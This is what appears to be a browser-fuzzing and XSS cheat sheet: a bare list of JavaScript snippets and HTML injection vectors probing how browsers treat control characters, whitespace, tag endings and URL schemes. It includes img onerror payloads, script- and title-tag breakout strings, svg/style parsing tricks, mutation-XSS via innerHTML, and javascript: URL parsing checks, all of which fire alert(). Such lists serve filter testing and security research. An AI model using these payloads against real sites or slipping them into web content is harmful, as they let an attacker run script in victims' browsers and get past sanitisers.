Cheat Sheet

/^\s+$/.test(String.fromCodePoint(9)) && alert(9)

/^\s+$/.test(String.fromCodePoint(10)) && alert(10)

/^\s+$/.test(String.fromCodePoint(11)) && alert(11)

/^\s+$/.test(String.fromCodePoint(12)) && alert(12)

/^\s+$/.test(String.fromCodePoint(13)) && alert(13)

/\p{scx=Latin}+/gu.test(String.fromCodePoint(i)) && alert(i)

/\w/ui.test(String.fromCodePoint(i)) && alert(i)

let chr = String.fromCodePoint(0);0x0D
let a = document.createElement("a");0x0D
a.href = '/'+chr+'/example.com';0x0D
new URL(a.href).host === "example.com" && alert(0)

alert0x09(9);//

alert
(10);//

alert0x0B(11);//

alert0x0C(12);//

alert0x0D(13);//

const url = new URL(`/${String.fromCodePoint(0)}javascript:alert(origin)`);0x0D
if (url.protocol === 'javascript:') {0x0D
    alert(0);0x0D
}

<script>0x0D
a="</script
><img src=data: onerror=alert(10)>"0x0D
</script>

<script>0x0D
a="</script0x0C><img src=data: onerror=alert(12)>"0x0D
</script>

<script>0x0D
a="</script0x0D><img src=data: onerror=alert(13)>"0x0D
</script>

<script>0x0D
a="</script ><img src=data: onerror=alert(32)>"0x0D
</script>

<script>0x0D
a="</script>><img src=data: onerror=alert(62)>"0x0D
</script>

<a id="user_id" href="https:#blah/../../"></a>

<a id="user_id" href="https:%blah/../../"></a>

<a id="user_id" href="https::blah/../../"></a>

<a id="user_id" href="https:<blah/../../"></a>

<<img src onerror=alert(60)>

<img src onerror=alert(9)0x09style=display:block;content-visibility:auto>

<img src onerror=alert(10)
style=display:block;content-visibility:auto>

<img src onerror=alert(12)0x0Cstyle=display:block;content-visibility:auto>

<img src onerror=alert(13)0x0Dstyle=display:block;content-visibility:auto>

<img src onerror=alert(32) style=display:block;content-visibility:auto>

<img src onerror0x09=alert(9)>

<img src onerror
=alert(10)>

<img src onerror0x0C=alert(12)>

<img src onerror0x0D=alert(13)>

<img src onerror =alert(32)>

<svg //><style><!--</style><img src onerror=alert(47)>

<svg />><style><!--</style><img src onerror=alert(62)>

<title>abc</title0x09><img src=x onerror=alert(9)>

<title>abc</title
><img src=x onerror=alert(10)>

<title>abc</title0x0C><img src=x onerror=alert(12)>

<title>abc</title0x0D><img src=x onerror=alert(13)>

<title>abc</title ><img src=x onerror=alert(32)>

<div id="x9"><span x="href=0x09&gt;&bbb"></span></div>0x0D
<script>0x0D
window["x9"].innerHTML=window["x9"].innerHTML;0x0D
if (window["x9"].firstChild.getAttribute("href") != null)0x0D
{0x0D
alert(9)0x0D
}0x0D
</script>

<div id="x10"><span x="href=
&gt;&bbb"></span></div>0x0D
<script>0x0D
window["x10"].innerHTML=window["x10"].innerHTML;0x0D
if (window["x10"].firstChild.getAttribute("href") != null)0x0D
{0x0D
alert(10)0x0D
}0x0D
</script>

<div id="x12"><span x="href=0x0C&gt;&bbb"></span></div>0x0D
<script>0x0D
window["x12"].innerHTML=window["x12"].innerHTML;0x0D
if (window["x12"].firstChild.getAttribute("href") != null)0x0D
{0x0D
alert(12)0x0D
}0x0D
</script>

<div id="x13"><span x="href=0x0D&gt;&bbb"></span></div>0x0D
<script>0x0D
window["x13"].innerHTML=window["x13"].innerHTML;0x0D
if (window["x13"].firstChild.getAttribute("href") != null)0x0D
{0x0D
alert(13)0x0D
}0x0D
</script>

<div id="x32"><span x="href= &gt;&bbb"></span></div>0x0D
<script>0x0D
window["x32"].innerHTML=window["x32"].innerHTML;0x0D
if (window["x32"].firstChild.getAttribute("href") != null)0x0D
{0x0D
alert(32)0x0D
}0x0D
</script>

<svg /><style><!--</style><img src onerror=alert(47)>

if (new URL("javascript0x09://xss.com").host=="xss.com"){alert(9)}

if (new URL("javascript+://xss.com").host=="xss.com"){alert(43)}

if (new URL("javascript-://xss.com").host=="xss.com"){alert(45)}

if (new URL("javascript.://xss.com").host=="xss.com"){alert(46)}

if (new URL("javascript0://xss.com").host=="xss.com"){alert(48)}

1337n⟦09⟧in alert(9)

1337n
in alert(10)

1337n0x0Bin alert(11)

1337n0x0Cin alert(12)

1337n0x0Din alert(13)

⟦09⟧x=123⟦09⟧0x0D
alert(9)

x=123
0x0D
alert(10)

0x0Bx=1230x0B0x0D
alert(11)

0x0Cx=1230x0C0x0D
alert(12)

0x0Dx=1230x0D0x0D
alert(13)

throw0x09alert(9)

throw0x0Balert(11)

throw0x0Calert(12)

throw alert(32)

throw!alert(33)

const s = String.fromCodePoint(i);0x0D
if (!encodeURI(s).includes("%")) alert(i);0x0D